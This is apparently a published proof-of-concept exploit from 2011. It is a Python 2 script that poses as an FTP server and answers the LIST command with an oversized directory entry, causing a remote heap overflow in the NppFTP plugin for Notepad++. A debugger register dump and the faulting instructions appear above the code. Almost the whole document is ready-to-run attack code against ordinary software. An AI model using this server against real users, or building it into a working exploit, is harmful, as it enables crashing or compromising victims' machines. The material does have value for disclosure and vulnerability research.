1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 |
# Notepad++ NppFTP plugin LIST command Remote Heap Overflow PoC # Date:17.08.2011 # Author: 0in (Maksymilian Motyl) # Mail: 0in [dot] email /at\ gmail \dot/ com # Software Link: http://notepad-plus-plus.org/ # Vulnerable plugin: http://sourceforge.net/projects/nppftp/ # Version: Tested on nppftp 0.2.3.0 and 0.2.4.0 (newest) # Debug: # EAX 42414141 # ECX 00000ED6 # EDX 024FD99C ASCII "AAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAABAAA" # EBX 42414141 # ESP 000E0F48 # EBP 000E0F70 # ESI 024FD100 # EDI 024FD100 # EIP 6A14D2D7 NppFTP.6A14D2D7 # 6A14D2D7 8B03 MOV EAX,DWORD PTR DS:[EBX] # 6A14D2D9 891C24 MOV DWORD PTR SS:[ESP],EBX # 6A14D2DC FF50 2CCALL DWORD PTR DS:[EAX+2C] <- BOOM # Theoretically its exploitable, but we haven't much available memory to work with, and # all memory is dynamicly located, so all addresses are not static.. import socket import os class ftp_server: def __init__(self): self.host = '0.0.0.0' self.passive_port = 2531 self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.bind(('', 21)) self.sock.listen(1) a = self.passive_port/256 b = self.passive_port%256 self.tuple_port = (a, b) self.host_join = ','.join(self.host.split('.')) self.passive = False def get(self): return self.conn.recv(1024).replace('\r', '').replace('\n', '') def getcwd(self): # return shellcode return "passwords" def put(self, ftr): x = { 150:" Data connection accepted from %s:%s; transfer starting."%(self.host, self.passive_port), 200:" Type okay.", 220:" Server ready.", 226:" Listing completed.", 227:" Entering Passive Mode (%s,%s,%s)"%(self.addr_join, self.tuple_port[0], self.tuple_port[1]), 230:" User logged in, proceed.", 250:' "/%s" is new cwd.'%self.getcwd(), 257:' "/%s" is cwd.'%self.getcwd(), 331:" User name okay, need password.", 502:" Command not implemented.", 551:" Requested action aborted. Page type unknown." }[ftr] s = '%s%s\r\n'%(ftr, x) self.conn.send(s) return s def main(self): self.conn, self.addr = self.sock.accept () self.addr_join = ','.join(self.addr[0].split('.')) self.put(220) while 1: try: data = self.get().upper() except socket.error: self.conn.close() self.sock.shutdown(socket.SHUT_RDWR) if self.passive: self.conn2.close() self.sock2.shutdown(socket.SHUT_RDWR) raise socket.error if data[:4] == 'USER': s = 331 elif data[:4] == 'PASS': s = 230 elif data[:3] == 'PWD':s = 257 elif data[:4] == 'TYPE': s = 200 elif data[:4] == 'PASV': self.sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock2.bind((self.addr[0], self.passive_port)) self.sock2.listen(1) s = self.put(227) self.conn2, addr = self.sock2.accept() self.passive = True s = 0 elif data[:3] == 'CWD': try: s = 250 except OSError: s = 551 elif data[:4] == 'LIST': print "LIST..." s = self.put(150) s = self.passive_do(1) s = self.put(226) s = 0 else: s = 502 if s: s = self.put(s) def passive_do(self, id): print "Sending exploit.." exploit="\x42\x41\x41\x41"*22+"\x42\x41\x41\x41"*53+"C"*400+"D"*4000+"E"*1019+"F"*2000 res = "drwxrwxrwx 5 ftpuser ftpuser 512 Jul 26 "+exploit+" "+"\x95"*18555+"\r\n" self.conn2.send(res) self.conn2.send('\r\n') self.conn2.close() return res print "Notepad++ NppFTP plugin LIST command Remote Heap Overflow PoC by 0in" while 1: try: print "Waiting for target.." ftp_server().main() except socket.error: print "Rebooting server...\n" |